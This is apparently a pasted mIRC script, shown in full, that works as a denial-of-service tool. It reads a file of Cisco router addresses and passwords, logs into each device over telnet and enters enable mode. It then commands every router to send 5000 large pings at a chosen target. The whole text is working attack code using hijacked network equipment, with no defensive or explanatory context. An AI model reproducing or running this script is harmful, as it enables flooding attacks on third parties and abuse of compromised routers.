rendered paste bodyalias start {
var %i = 1
hadd -m dos target $1
while ($read(cisco.txt, %i)) {
tokenize 32 $ifmatch
if ($3) {
sockopen dos_ $+ %i $1 23
}
inc %i
}
echo -a Starting, target: $hget(dos, target)
}
on *:sockopen:dos*: {
if (!$sockerr) && ($sock($sockname)) {
tokenize 32 $read(cisco.txt, $gettok($sockname, 2, 95)) $hget(dos, target)
sockwrite $sockname $+($2, $crlf, enable, $crlf, $3, $crlf)
sockwrite $sockname $+(ping, $crlf, ip, $crlf, $4, $crlf)
sockwrite $sockname $+(5000, $crlf, 5000, $crlf, 0, $crlf, n, $crlf, n, $crlf)
}
}
on *:sockread:dos*: {
if (!$sockerr) && ($sock($sockname)) {
sockread -t %data
if ($sockbr) {
if (*..* iswm %data) {
echo -s %data
}
}
}
}
alias stop {
sockclose dos*
hfree dos
}